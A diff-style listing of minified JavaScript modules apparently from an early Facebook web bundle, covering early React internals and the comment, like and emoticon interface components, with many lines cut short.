+__d("ReactMultiChild",["ReactComponent","ReactDOMUtils"],function(a,b,c,d,e,f){var g=b('ReactComponent'),h=b('ReactDOMUtils'),i=h.insertNodeAt;function j(n,o){return n&&o&&n.constructor===o.constructor;}function k(n,o){return n&&!o||(n&&o&&n.constructor!==o.constructor);}var l={destroyMultiChild:function(){var n=this.renderedChildren,o;for(o in n){if(!n.hasOwnProperty(o))continue;if(n[o])n[o].destroy();}this.renderedChildren=null;},genMarkupImplMultiChild:function(n){var o,p='',q=0;for(o [...]
+__d("mixInto",[],function(a,b,c,d,e,f){var g=function(h,i){var j;for(j in i){if(!i.hasOwnProperty(j))continue;h.prototype[j]=i[j];}};e.exports=g;});
+__d("ReactTextComponent",["ReactBrowserUtils","ReactDOMAttributes","ReactComponent","mixInto"],function(a,b,c,d,e,f){var g=b('ReactBrowserUtils'),h=b('ReactDOMAttributes'),i=b('ReactComponent'),j=g.escapeTextForBrowser,k=b('mixInto'),l=h.CONTENT_ACCESSOR_KEY,m=function(n){this.props=n;};k(m,i.ReactComponentMixin);m.prototype.setAllPropsImpl=function(n){if(n!==this.props){this.getDOMNode()[l]=n;this.props=n;}};m.prototype.destroy=function(){};m.prototype.genMarkupImpl=function(n){this._ro [...]
+__d("flattenChildren",["ReactTextComponent"],function(a,b,c,d,e,f){var g=b('ReactTextComponent'),h='0',i=function(k,l,m){var n,o;if(Array.isArray(l)){for(n=0;n<l.length;n++)i(k,l[n],m+'['+n+']');}else{var p=m==='',q=p?h:m;if(!l&&l!==0){k[q]=null;}else if(l.genMarkupIntoContainer){k[q]=l;}else{var r=typeof l;if(r==='string'||r==='number'){k[q]=new g(l);}else if(r==='object')for(o in l)if(l.hasOwnProperty(o))i(k,l[o],m+'{'+o+'}');}}};function j(k){if(k===null||k===undefined)return k;var l= [...]
+__d("ReactDOM",["ReactComponent","ReactDOMGeneration","ReactDOMMutation","ReactErrors","ReactEvent","ReactMultiChild","flattenChildren","mixInto","objMapKeyVal","throwIf"],function(a,b,c,d,e,f){var g=b('ReactComponent'),h=b('ReactDOMGeneration'),i=b('ReactDOMMutation'),j=b('ReactErrors'),k=b('ReactEvent'),l=b('ReactMultiChild'),m=h.ReactNativeComponentGenerationMixin,n=i.ReactNativeComponentMutationMixin,o=b('flattenChildren'),p=b('mixInto'),q=b('objMapKeyVal'),r=b('throwIf'),s=g.ReactCo [...]
+__d("ReactOwner",[],function(a,b,c,d,e,f){var g={attachRef:function(h,i){var j=this.refs||(this.refs={});j[h]=i;},detachRef:function(h){delete this.refs[h];}};e.exports=g;});
+__d("ReactCompositeComponent",["ReactComponent","ReactCurrentOwner","ReactDOMTransaction","ReactDOMUtils","ReactErrors","ReactOnDOMReady","ReactOwner","merge","mergeHelpers","mixInto","throwIf"],function(a,b,c,d,e,f){var g=b('ReactComponent'),h=b('ReactCurrentOwner'),i=b('ReactDOMTransaction'),j=b('ReactDOMUtils'),k=b('ReactErrors'),l=b('ReactOnDOMReady'),m=b('ReactOwner'),n=b('merge'),o=b('mergeHelpers'),p=b('mixInto'),q=b('throwIf'),r=j.insertMarkupAt,s=o.isTerminal,t=g.ReactComponentM [...]
+__d("React",["ReactCompositeComponent","ReactMount"],function(a,b,c,d,e,f){var g=b('ReactCompositeComponent'),h=b('ReactMount'),i={initializeTouchEvents:function(j){h.useTouchEvents=j;},createComponent:g.createComponent,constructAndRenderComponent:h.constructAndRenderComponent,renderComponent:h.renderComponent,renderOrUpdateComponent:h.renderOrUpdateComponent,destroyAndReleaseReactRootNode:h.destroyAndReleaseReactRootNode};e.exports=i;});
+__d("NumberFormat",["Env"],function(a,b,c,d,e,f){var g=b('Env'),h=/(\d{3})(?=\d)/g,i=10000,j=function(l){return (''+l).split('').reverse().join('');},k={formatIntegerWithDelimiter:function(l,m){if((g.locale=='nb_NO'||g.locale=='nn_NO')&&(Math.abs(l)<i))return l.toString();var n=j(l);return j(n.replace(h,'$1'+m));}};e.exports=k;});
+__d("UFIConstants",[],function(a,b,c,d,e,f){var g={COMMENT_LIKE:'fa-type:comment-like',COMMENT_SET_SPAM:'fa-type:mark-spam',DELETE_COMMENT:'fa-type:delete-comment',LIVE_DELETE_COMMENT:'fa-type:live-delete-comment',LIKE_ACTION:'fa-type:like',REMOVE_PREVIEW:'fa-type:remove-preview',CONFIRM_COMMENT_REMOVAL:'fa-type:confirm-remove',TRANSLATE_COMMENT:'fa-type:translate-comment',UNDO_DELETE_COMMENT:'fa-type:undo-delete-comment'},h={DELETED:'status:deleted',SPAM:'status:spam',SPAM_DISPLAY:'stat [...]
+__d("UFIBlingBox",["ReactDOM","NumberFormat","React","UFIConstants","copyProperties","tx"],function(a,b,c,d,e,f){var g=b('ReactDOM'),h=b('NumberFormat'),i=b('React'),j=b('UFIConstants'),k=b('copyProperties'),l=b('tx'),m=i.createComponent({render:function(){var o=[],p='';if(this.props.likes){o.push(n({count:this.props.likes,classSet:{mls:o.length>0},iconClassName:"UFIBlingBoxLikeIcon",contextArgs:this.props.contextArgs}));p+=(this.props.likes==1)?"1 like":l._("{count} likes",{count:this.p [...]
+__d("UFICentralUpdates",["Arbiter","ChannelConstants","LiveTimer","ShortProfiles","UFIConstants","copyProperties","tx"],function(a,b,c,d,e,f){var g=b('Arbiter'),h=b('ChannelConstants'),i=b('LiveTimer'),j=b('ShortProfiles'),k=b('UFIConstants'),l=b('copyProperties'),m=b('tx'),n=0,o={},p={},q={},r={},s=[];g.subscribe(h.getArbiterType('live-data'),function(x,y){if(y&&y.obj){var z=y.obj,aa=z.comments||[];aa.forEach(function(ba){ba.timestamp.text="a few seconds ago";});w.handleUpdate(k.UFIPayl [...]
+__d("mergeInto",["mergeHelpers"],function(a,b,c,d,e,f){var g=b('mergeHelpers'),h=g.checkMergeObjectArgs,i=g.normalizeMergeArg,j=function(k,l){var m=i(l),n;h(k,m);for(n in m){if(!m.hasOwnProperty(n))continue;k[n]=m[n];}};e.exports=j;});
+__d("ImmutableObject",["keyMirror","merge","mergeInto","mergeHelpers","throwIf"],function(a,b,c,d,e,f){var g=b('keyMirror'),h=b('merge'),i=b('mergeInto'),j=b('mergeHelpers'),k=b('throwIf'),l=j.checkMergeObjectArgs,m=j.isTerminal,n,o;n=g({INVALID_MAP_SET_ARG:null});o=function(q){i(this,q);};o.set=function(q,r){k(!(q instanceof o),n.INVALID_MAP_SET_ARG);var s=new o(q);i(s,r);return s;};o.setField=function(q,r,s){var t={};t[r]=s;return o.set(q,t);};o.setDeep=function(q,r){k(!(q instanceof o [...]
+__d("MercuryServerDispatcher",["AsyncRequest","FBAjaxRequest","Env","JSLogger","Run","areObjectsEqual","copyProperties","debounceAcrossTransitions"],function(a,b,c,d,e,f){var g=b('AsyncRequest'),h=b('FBAjaxRequest'),i=b('Env'),j=b('JSLogger'),k=b('Run'),l=b('areObjectsEqual'),m=b('copyProperties'),n=b('debounceAcrossTransitions'),o={},p=j.create('mercury_dispatcher'),q=false,r={IMMEDIATE:'immediate',IDEMPOTENT:'idempotent',BATCH_SUCCESSIVE:'batch-successive',BATCH_SUCCESSIVE_UNIQUE:'batc [...]
+__d("UFIFeedbackTargets",["ClientIDs","KeyedCallbackManager","UFICentralUpdates","UFIConstants","copyProperties"],function(a,b,c,d,e,f){var g=b('ClientIDs'),h=b('KeyedCallbackManager'),i=b('UFICentralUpdates'),j=b('UFIConstants'),k=b('copyProperties'),l=new h();function m(s){var t={};s.forEach(function(u){var v=k({},u);delete v.commentlist;delete v.commentcount;t[u.entidentifier]=v;i.didUpdateFeedback(u.entidentifier);});l.addResourcesAndExecute(t);}function n(s){for(var t=0;t<s.length;t [...]
+__d("UFIInstanceState",["UFICentralUpdates"],function(a,b,c,d,e,f){var g=b('UFICentralUpdates'),h={};function i(k){if(!h[k])h[k]={};}var j={getKeyForInstance:function(k,l){i(k);return h[k][l];},updateState:function(k,l,m){i(k);h[k][l]=m;g.didUpdateInstanceState(k,l);},updateStateField:function(k,l,m,n){var o=this.getKeyForInstance(k,l)||{};o[m]=n;this.updateState(k,l,o);}};e.exports=j;});
+__d("UFIComments",["ClientIDs","ImmutableObject","JSLogger","KeyedCallbackManager","MercuryServerDispatcher","UFICentralUpdates","UFIConstants","UFIFeedbackTargets","UFIInstanceState","URI","keyMirror","merge","randomInt","throwIf"],function(a,b,c,d,e,f){var g=b('ClientIDs'),h=b('ImmutableObject'),i=b('JSLogger'),j=b('KeyedCallbackManager'),k=b('MercuryServerDispatcher'),l=b('UFICentralUpdates'),m=b('UFIConstants'),n=b('UFIFeedbackTargets'),o=b('UFIInstanceState'),p=b('URI'),q=b('keyMirr [...]
+__d("UFITrackingNodes",[],function(a,b,c,d,e,f){var g={types:{USER_NAME:2,LIKE_LINK:5,UNLIKE_LINK:6,SHARE_LINK:17,USER_MESSAGE:18,SOURCE:21,BLINGBOX:22,VIEW_ALL_COMMENTS:24,COMMENT:25,COMMENT_LINK:26,SMALL_ACTOR_PHOTO:27,ADD_COMMENT_BOX:34,UFI:36},TYPE_TO_CHAR_SHIFT_VAL:57,encodeTrackingInfo:function(h,i){var j=String.fromCharCode(h+g.TYPE_TO_CHAR_SHIFT_VAL);if(i)j+=String.fromCharCode(48+Math.min(i,10)-1);return j;},decodeTrackingInfo:function(h){return h.charCodeAt(0)-g.TYPE_TO_CHAR_SH [...]
+__d("UFILikeLink",["ReactDOM","React","UFITrackingNodes","tx"],function(a,b,c,d,e,f){var g=b('ReactDOM'),h=b('React'),i=b('UFITrackingNodes'),j=b('tx'),k=h.createComponent({render:function(){var l=this.props.likeAction?"Like":"Unlike",m=i.getTrackingInfo(this.props.likeAction?i.types.LIKE_LINK:i.types.UNLIKE_LINK),n=this.props.likeAction?"Like this item":"Stop liking this item";return (g.a({className:"UFILikeLink",href:"#",role:"button",'aria-live':"polite",title:n,onClick:this.props.onC [...]
+__d("UFIUserActions",["AsyncResponse","ClientIDs","ImmutableObject","JSLogger","Nectar","UFICentralUpdates","UFIComments","UFIConstants","UFIFeedbackTargets","MercuryServerDispatcher","collectDataAttributes","copyProperties","tx"],function(a,b,c,d,e,f){var g=b('AsyncResponse'),h=b('ClientIDs'),i=b('ImmutableObject'),j=b('JSLogger'),k=b('Nectar'),l=b('UFICentralUpdates'),m=b('UFIComments'),n=b('UFIConstants'),o=b('UFIFeedbackTargets'),p=b('MercuryServerDispatcher'),q=b('collectDataAttribu [...]
+__d("UFIActionLinkController",["ReactDOM","Arbiter","CSS","DOMQuery","Parent","React","UFIBlingBox","UFICentralUpdates","UFIComments","UFILikeLink","UFIFeedbackTargets","UFITrackingNodes","UFIUserActions","copyProperties"],function(a,b,c,d,e,f){var g=b('Arbiter'),h=b('CSS'),i=b('DOMQuery'),j=b('Parent'),k=b('React'),l=b('UFIBlingBox'),m=b('UFICentralUpdates'),n=b('UFIComments'),o=b('UFILikeLink'),p=b('UFIFeedbackTargets'),q=b('UFITrackingNodes'),r=b('UFIUserActions'),s=b('copyProperties' [...]
+__d("MentionsInputUtils",[],function(a,b,c,d,e,f){var g={generateDataFromTextWithEntities:function(h){var i=h.text,j={},k={},l=false;(h.ranges||[]).forEach(function(n){var o=n.entities[0];if(!o.external)j[o.id]=i.substr(n.offset,n.length);if(o.weakreference){k[o.id]=true;l=true;}});var m={flattened:i,mention_data:j};if(l)m.weak_references=k;return m;}};e.exports=g;});
+__d("Layout",["keyMirror"],function(a,b,c,d,e,f){var g=b('keyMirror'),h={small:true,medium:true,large:true,none:true},i={small:true,medium:true,large:true,huge:true},j={none:true,medium:true,light:true,dark:true},k={dark:true,inverted:true,standard:true},l={top:true,middle:true,bottom:true},m={left:true,center:true,right:true},n={horizontal:true,vertical:true},o={toTop:true,toBottom:true},p={spacing:g(h),size:g(i),boldness:g(j),appearance:g(k),direction:g(n),vAlign:g(l),hAlign:g(m),Scrol [...]
+__d("bindNoArgs",[],function(a,b,c,d,e,f){var g=function(h,i){if(!h)return null;return function(){return h.call(i);};};e.exports=g;});
+__d("curryOnly",[],function(a,b,c,d,e,f){var g=function(h,i,j){if(!h)return null;return function(){return h.call(j,i);};};e.exports=g;});
+__d("reactKeys",[],function(a,b,c,d,e,f){var g=function(h){var i=[],j;for(j in h)if(h.hasOwnProperty(j))i.push(j);return i;};e.exports=g;});
+__d("mergeDeepInto",["keyMirror","mergeHelpers","throwIf"],function(a,b,c,d,e,f){var g=b('keyMirror'),h=b('mergeHelpers'),i=b('throwIf'),j=h.ArrayStrategies,k=h.checkArrayStrategy,l=h.checkMergeArrayArgs,m=h.checkMergeLevel,n=h.checkMergeObjectArgs,o=h.isTerminal,p=h.normalizeMergeArg,q=g({RUN_TIME_ARRAY_MERGE_FAIL:null}),r=function(v,w,x,y){n(v,w);m(y);var z=w?Object.keys(w):[];for(var aa=0;aa<z.length;aa++){var ba=z[aa];t(v,w,ba,x,y);}},s=function(v,w,x,y){l(v,w);m(y);var z=Math.max(v. [...]
+__d("mergeDeep",["mergeHelpers","mergeDeepInto"],function(a,b,c,d,e,f){var g=b('mergeHelpers'),h=b('mergeDeepInto'),i=g.checkMergeLevel,j=g.checkArrayStrategy,k=g.checkMergeObjectArgs,l=g.isTerminal,m=g.normalizeMergeArg,n=function(o,p,q){var r=m(o),s=m(p);k(r,s);j(q);var t={};h(t,r,q);h(t,s,q);return t;};e.exports=n;});
+__d("ReactUtils",["bindNoArgs","curryOnly","keyMirror","keyOf","reactKeys","merge","mergeDeep","mergeInto","mixInto","objMapKeyVal"],function(a,b,c,d,e,f){var g=b('bindNoArgs'),h=b('curryOnly'),i=b('keyMirror'),j=b('keyOf'),k=b('reactKeys'),l=b('merge'),m=b('mergeDeep'),n=b('mergeInto'),o=b('mixInto'),p=b('objMapKeyVal');f.bindNoArgs=g;f.curryOnly=h;f.keyMirror=i;f.keyOf=j;f.keys=k;f.merge=l;f.mergeDeep=m;f.mergeInto=n;f.mixInto=o;f.objMapKeyVal=p;});
+__d("LeftRight",["ReactDOM","React","ReactErrors","ReactUtils"],function(a,b,c,d,e,f){var g=b('ReactDOM'),h=b('React'),i=b('ReactErrors'),j=b('ReactUtils'),k=j.keyMirror({left:true,right:true,both:true});function l(n){i.throwIf(!n.children||n.children.length<1||n.children.length>2,"LeftRight component must have one or two children.");}var m=h.createComponent({render:function(){l(this.props);var n=this.props.direction||k.both,o=[{clearfix:true},this.props.classSet],p={lfloat:n===k.left||n [...]
+__d("ImageBlock",["ReactDOM","Layout","LeftRight","React","ReactUtils","ReactErrors","cx"],function(a,b,c,d,e,f){var g=b('ReactDOM'),h=b('Layout'),i=b('LeftRight'),j=b('React'),k=b('ReactUtils'),l=b('ReactErrors'),m=b('cx'),n=h.spacing;function o(s){l.throwIf(!s.children||s.children.length>3||s.children.length<1,"ImageBlock requires two or three children.");}function p(s){var t={img:true};t._8o=true;t._8r=s===n.small;t._8s=s===n.medium;t._8t=s===n.large;return t;}function q(s,t,u){s.prop [...]
+__d("ReactLegacyMentionsInput",["ReactDOM","PlaceholderListener","Bootloader","Event","Keys","React"],function(a,b,c,d,e,f){var g=b('ReactDOM');b('PlaceholderListener');var h=b('Bootloader'),i=b('Event'),j=b('Keys'),k=b('React'),l=k.createComponent({onDomReady:function(m){this.props.initialData&&this._initializeTextarea(m);},hasEnteredText:function(){return !!(this._mentionsInput&&this._mentionsInput.getValue().trim());},_handleKeydown:function(event){var m=event.nativeEvent,n=this.props [...]
+__d("UFIClassSets",["cx"],function(a,b,c,d,e,f){var g=b('cx'),h={img:true,UFIActorImage:true};h._rx=true;var i={UFIRow:true},j={UFIUnseenItem:true};e.exports={ROW:i,ACTOR_IMAGE:h,UNSEEN_ITEM:j};});
+__d("UFIAddComment",["ReactDOM","Event","ImageBlock","Keys","React","ReactLegacyMentionsInput","UFIClassSets","UFITrackingNodes","tx"],function(a,b,c,d,e,f){var g=b('ReactDOM'),h=b('Event'),i=b('ImageBlock'),j=b('Keys'),k=b('React'),l=b('ReactLegacyMentionsInput'),m=b('UFIClassSets'),n=b('UFITrackingNodes'),o=b('tx'),p="Write a comment...",q="Write a reply...",r={UFICommentTip:true,fcg:true,fss:true},s={UFITextReplyDimensions:true},t=k.createComponent({getInitialState:function(){return { [...]
+__d("UFIAddCommentController",["ReactDOM","Arbiter","copyProperties","MentionsInputUtils","Parent","UFIAddComment","React","ShortProfiles","UFICentralUpdates","UFIComments","UFIFeedbackTargets","UFIInstanceState","UFIUserActions"],function(a,b,c,d,e,f){var g=b('Arbiter'),h=b('copyProperties'),i=b('MentionsInputUtils'),j=b('Parent'),k=b('UFIAddComment'),l=b('React'),m=b('ShortProfiles'),n=b('UFICentralUpdates'),o=b('UFIComments'),p=b('UFIFeedbackTargets'),q=b('UFIInstanceState'),r=b('UFIU [...]
+__d("ReactLegacyScrollableArea",["ReactDOM","Scrollable","Bootloader","React","Style"],function(a,b,c,d,e,f){var g=b('ReactDOM');b('Scrollable');var h=b('Bootloader'),i=b('React'),j=b('Style'),k={uiScrollableArea:true,native:true},l={uiScrollableAreaWrap:true,scrollable:true},m={uiScrollableAreaBody:true},n={uiScrollableAreaContent:true},o=i.createComponent({render:function(){var p={height:this.props.height?this.props.height+'px':'auto'};return (g.div({classSet:k,ref:"root",style:p,child [...]
+__d("CloseButton",["ReactDOM","Layout","React","ReactUtils"],function(a,b,c,d,e,f){var g=b('ReactDOM'),h=b('Layout'),i=b('React'),j=b('ReactUtils'),k=i.createComponent({render:function(){var l=this.props,m=l.size||h.size.medium,n=l.appearance||h.appearance.normal,o=m===h.size.small,p=m===h.size.huge,q=n===h.appearance.dark,r=n===h.appearance.inverted,s={uiCloseButton:true,uiCloseButtonSmall:o,uiCloseButtonHuge:p,uiCloseButtonSmallDark:o&&q,uiCloseButtonSmallInverted:o&&r,uiCloseButtonDar [...]
+__d("HovercardLink",["URI"],function(a,b,c,d,e,f){var g=b('URI'),h={getBaseURI:function(){return g('/ajax/hovercard/hovercard.php');},constructEndpoint:function(i,j){var k=new g(h.getBaseURI()).setQueryData({id:i.id});if(i.weakreference&&j){var l={group_id:j};k.addQueryData({extragetparams:JSON.stringify(l)});}return k;}};e.exports=h;});
+__d("UntrustedLink",["DOM","Event","URI","UserAgent","copyProperties"],function(a,b,c,d,e,f){var g=b('DOM'),h=b('Event'),i=b('URI'),j=b('UserAgent'),k=b('copyProperties');function l(m,n,o,p){this.dom=m;this.url=m.href;this.hash=n;this.func_get_params=p||function(){return {};};h.listen(this.dom,'click',this.onclick.bind(this));h.listen(this.dom,'mousedown',this.onmousedown.bind(this));h.listen(this.dom,'mouseup',this.onmouseup.bind(this));h.listen(this.dom,'mouseout',this.onmouseout.bind( [...]
+__d("Link",["ReactDOM","React","UntrustedLink","$","mergeInto"],function(a,b,c,d,e,f){var g=b('ReactDOM'),h=b('React'),i=b('UntrustedLink'),j=b('$'),k=b('mergeInto'),l=h.createComponent({_installLinkshimOnMouseDown:function(event){var m=this.props.href;if(m.shimhash)i.bootstrap(j(this._rootDomId),m.shimhash);this.props.onMouseDown&&this.props.onMouseDown(event);},render:function(){var m=this.props.href,n=g.a({});k(n.props,this.props);if(m){n.props.href=m.url;var o=!!m.shimhash;if(o){n.pr [...]
+__d("HovercardLinkInterpolator",["ReactDOM","HovercardLink","Link"],function(a,b,c,d,e,f){var g=b('ReactDOM'),h=b('HovercardLink'),i=b('Link');function j(k,l,m,n){var o=l.entities[0],p=m||(o.external?'_blank':null),q;if(o.weakreference){q=i({classSet:{weakReference:true},href:o,target:p,children:[g.i({classSet:{UFIWeakReferenceIcon:true}}),k]});}else q=i({href:o,content:k,target:p});if(!o.external)q.props['data-hovercard']=h.constructEndpoint(o,n).toString();return q;}e.exports=j;});
+__d("LinkButton",["ReactDOM"],function(a,b,c,d,e,f){var g=b('ReactDOM'),h=function(i){var j=i.name&&i.value?i.name+'['+encodeURIComponent(i.value)+']':null;return (g.label({classSet:{uiLinkButton:true,uiLinkButtonSubtle:i.subtle,async_throbber:i.showSaving},children:g.input({type:i.inputType||'button',name:j,value:i.label,classSet:{stat_elem:i.showSaving}})}));};e.exports=h;});
+__d("ProfileBrowserLink",["URI"],function(a,b,c,d,e,f){var g=b('URI'),h='/ajax/browser/dialog/',i='/browse/',j=function(l,m,n){return new g(l+m).setQueryData(n);},k={constructPageURI:function(l,m){return j(i,l,m);},constructDialogURI:function(l,m){return j(h,l,m);}};e.exports=k;});
+__d("ProfileBrowserTypes",[],function(a,b,c,d,e,f){var g={LIKES:'likes',GROUP_MESSAGE_VIEWERS:'group_message_viewers',MUTUAL_FRIENDS:'mutual_friends'};e.exports=g;});
+__d("Timestamp",["ReactDOM","LiveTimer","React"],function(a,b,c,d,e,f){var g=b('ReactDOM'),h=b('LiveTimer'),i=b('React'),j=i.createComponent({render:function(){var k=h.renderRelativeTimeToServer(this.props.time),l=k.text;if(!l)l=this.props.text;var m={livetimestamp:true};if(this.props.className)m[this.props.className]=true;return (g.abbr({classSet:m,title:this.props.verbose,'data-utime':this.props.time,content:l}));}});e.exports=j;});
+__d("EmoteTypes",[],function(a,b,c,d,e,f){f.TEXT='text';f.EMOTE='emote';f.EMOTE_FBID='emote_fbid';});
+__d("EmoticonsList",[],function(a,b,c,d,e,f){e.exports={emotes:{":)":"smile",":-)":"smile",":]":"smile","=)":"smile",":(":"frown",":-(":"frown",":[":"frown","=(":"frown",":P":"tongue",":-P":"tongue",":-p":"tongue",":p":"tongue","=P":"tongue","=D":"grin",":-D":"grin",":D":"grin",":o":"gasp",":-O":"gasp",":O":"gasp",":-o":"gasp",";)":"wink",";-)":"wink","8)":"glasses","8-)":"glasses","B)":"glasses","B-)":"glasses","B|":"sunglasses","8-|":"sunglasses","8|":"sunglasses","B-|":"sunglasses","> [...]
+__d("createEmoteTokenizer",["EmoteTypes"],function(a,b,c,d,e,f){var g=b('EmoteTypes'),h=40;function i(j){return function(k){var l=k,m=[],n=h;while(n--){var o=j.regexp.exec(l);if(!o||!o.length)break;var p=o[1],q=l.indexOf(p),r=l.substring(0,q);if(r)m.push({type:g.TEXT,text:r});var s=j.emotes[p];if(s){m.push({type:g.EMOTE,text:p,emote:s});}else m.push({type:g.TEXT,text:p});l=l.substring(q+p.length);}if(l)m.push({type:g.TEXT,text:l});return m;};}e.exports=i;});
+__d("emoteFBIDTokenizer",["EmoteTypes"],function(a,b,c,d,e,f){var g=b('EmoteTypes'),h=/\[\[([a-z\d\.]+)\]\]/gi;function i(j){return j.split(h).map(function(k,l){if(l%2===0){return {type:g.TEXT,text:k};}else return {type:g.EMOTE_FBID,text:'[['+k+']]',value:k};});}e.exports=i;});
+__d("Emote",["DOM","EmoteTypes","EmoticonsList","createEmoteTokenizer","emoteFBIDTokenizer","flattenArray","htmlize"],function(a,b,c,d,e,f){var g=b('DOM'),h=b('EmoteTypes'),i=b('EmoticonsList'),j=b('createEmoteTokenizer'),k=b('emoteFBIDTokenizer'),l=b('flattenArray'),m=b('htmlize'),n=j(i),o=e.exports={};o.htmlEmoteWithoutFBID=function(p,q){if(typeof q!='function')q=m;return l(n(p).map(function(r){if(r.type===h.TEXT){return q(r.text);}else if(r.type===h.EMOTE)return ['<span class="emotico [...]
+__d("SupportedEmoji",["cx"],function(a,b,c,d,e,f){var g=b('cx');e.exports={utf16Regex:/[\u203C\u2049\u2100-\u21FF\u2300-\u27FF\u2900-\u29FF\u2B00-\u2BFF\u3000-\u30FF\u3200-\u32FF]|\uD83C[\uDC00-\uDFFF]|\uD83D[\uDC00-\uDEFF]/,emoji:{127744:"_2b_",127746:"_2c0",127754:"_2c1",127769:"_2c2",127775:"_2c3",127793:"_2c4",127796:"_2c5",127797:"_2c6",127799:"_2c7",127800:"_2c8",127801:"_2c9",127802:"_2ca",127803:"_2cb",127806:"_2cc",127808:"_2cd",127809:"_2ce",127810:"_2cf",127811:"_2cg",127818:" [...]
+__d("Utf16",[],function(a,b,c,d,e,f){var g={decode:function(h){switch(h.length){case 1:return h.charCodeAt(0);case 2:return 65536|((h.charCodeAt(0)-55296)*1024)|(h.charCodeAt(1)-56320);}},encode:function(h){if(h<65536){return String.fromCharCode(h);}else return String.fromCharCode(55296+((h-65536)>>10))+String.fromCharCode(56320+(h%1024));}};e.exports=g;});
+__d("Emoji",["cx","DOM","Emote","SupportedEmoji","htmlize","Utf16"],function(a,b,c,d,e,f){var g=b('cx'),h=b('DOM'),i=b('Emote'),j=b('SupportedEmoji'),k=b('htmlize'),l=b('Utf16'),m=40,n=e.exports={htmlEmojiAndEmote:function(o,p){return n.htmlEmoji(o,function(q){return i.htmlEmote(q,p);});},htmlEmoji:function(o,p){if(typeof p!='function')p=k;var q=o,r=[],s=m;while(s--){var t=j.utf16Regex.exec(q);if(!t||!t.length)break;var u=t[0],v=q.indexOf(u);r.push(p(q.substring(0,v)));var w=l.decode(u); [...]
+__d("ReactTextWithEmoticons",["ReactDOM","Emoji","Emote","React"],function(a,b,c,d,e,f){var g=b('ReactDOM'),h=b('Emoji'),i=b('Emote'),j=b('React'),k=j.createComponent({render:function(){if(!this.props.renderEmoticons&&!this.props.renderEmoji)return g.span({content:this.props.text});var l;if(this.props.renderEmoticons&&this.props.renderEmoji){l=h.htmlEmoji(this.props.text,i.htmlEmoteWithoutFBID);}else if(this.props.renderEmoticons){l=i.htmlEmoteWithoutFBID(this.props.text);}else l=h.htmlE [...]
+__d("ReactTextWithEntities",["ReactDOM","Link","React","ReactTextWithEmoticons"],function(a,b,c,d,e,f){var g=b('ReactDOM'),h=b('Link'),i=b('React'),j=b('ReactTextWithEmoticons');function k(q){return (q).replace(/<3\b|♥/g,'\u2665');}function l(q,r){return (h({href:r.entities[0],children:[q]}));}function m(q,r){return q.offset-r.offset;}function n(q){return !!q;}var o=/(\r\n|[\r\n])/,p=i.createComponent({_formatStandardText:function(q){var r=q.split(o),s=[];for(var t=0;t<r.length;t+ [...]
+__d("SeeMore",["ReactDOM","React","tx"],function(a,b,c,d,e,f){var g=b('ReactDOM'),h=b('React'),i=b('tx'),j="...",k="See More",l={SeeMoreLink:true,fss:true},m=h.createComponent({getInitialState:function(){return {isCollapsed:true};},render:function(){var n=this.state.isCollapsed,o=!n?null:g.span({content:j}),p=this.props.children[0],q=n?null:g.span({children:this.props.children[1]}),r=!n?null:g.a({classSet:l,onClick:this.createStateUpdater({isCollapsed:false}),content:k,href:"#",role:"but [...]
+__d("TruncatedTextWithEntities",["ReactDOM","React","ReactTextWithEntities","SeeMore"],function(a,b,c,d,e,f){var g=b('ReactDOM'),h=b('React'),i=b('ReactTextWithEntities'),j=b('SeeMore');function k(o,p){var q=o.offset+o.length;return p>o.offset&&p<q;}function l(o,p){for(var q=0;q<o.length;q++){var r=o[q];if(k(r,p))return r.offset;}return p;}var m=function(o,p,q){var r=[],s=[],t=l(p,q);for(var u=0;u<p.length;u++){var v=p[u];if(v.offset<t){r.push(v);}else s.push({offset:v.offset-t,length:v. [...]
+__d("UFIReplyLink",["ReactDOM","React","tx"],function(a,b,c,d,e,f){var g=b('ReactDOM'),h=b('React'),i=b('tx'),j=h.createComponent({render:function(){return (g.a({href:"#",onClick:this.props.onClick,children:"Reply"}));}});e.exports=j;});
+__d("UFISpamCount",["UFISpamCountImpl"],function(a,b,c,d,e,f){e.exports=b('UFISpamCountImpl').module||{enabled:false};});
+__d("UFIComment",["ReactDOM","function-extensions","AbstractEvent","Bootloader","CloseButton","Env","Focus","HovercardLink","HovercardLinkInterpolator","ImageBlock","Layout","LinkButton","ProfileBrowserLink","ProfileBrowserTypes","React","ReactUtils","Timestamp","TruncatedTextWithEntities","UFIClassSets","UFIConstants","UFIInstanceState","UFIReplyLink","UFISpamCount","UFITrackingNodes","URI","tx","UFIConfig"],function(a,b,c,d,e,f){var g=b('ReactDOM');b('function-extensions');var h=b('Abs [...]
+__d("UFIContainer",["ReactDOM","React","UFITrackingNodes"],function(a,b,c,d,e,f){var g=b('ReactDOM'),h=b('React'),i=b('UFITrackingNodes'),j=h.createComponent({render:function(){var k=null;if(this.props.hasNub)k=g.li({classSet:{UFIArrow:true},children:g.i({})});var l={UFIList:!this.props.isReplyList,UFIReplyList:this.props.isReplyList,UFITranslucentReplyList:this.props.isParentLiveDeleted};return (g.ul({classSet:l,'data-ft':i.getTrackingInfo(i.types.UFI),children:[k,this.props.children]}) [...]
+__d("UFILikeSentenceText",["ReactDOM","HovercardLinkInterpolator","ProfileBrowserLink","ProfileBrowserTypes","React","ReactTextWithEntities","URI"],function(a,b,c,d,e,f){var g=b('ReactDOM'),h=b('HovercardLinkInterpolator'),i=b('ProfileBrowserLink'),j=b('ProfileBrowserTypes'),k=b('React'),l=b('ReactTextWithEntities'),m=b('URI');function n(p,q,r,s){if(s.count!=null){var t=j.LIKES,u={id:p.targetfbid},v=[];for(var w=0;w<q.length;w++)if(!q[w].count)v.push(q[w].entities[0].id);var x=new m('/aj [...]
+__d("UFILikeSentence",["ReactDOM","ImageBlock","LeftRight","ProfileBrowserLink","ProfileBrowserTypes","React","UFIClassSets","UFILikeSentenceText","URI","tx"],function(a,b,c,d,e,f){var g=b('ReactDOM'),h=b('ImageBlock'),i=b('LeftRight'),j=b('ProfileBrowserLink'),k=b('ProfileBrowserTypes'),l=b('React'),m=b('UFIClassSets'),n=b('UFILikeSentenceText'),o=b('URI'),p=b('tx'),q=l.createComponent({render:function(){var r=this.props.feedback,s=r.likesentences.current,t=this.props.contextArgs.entstr [...]
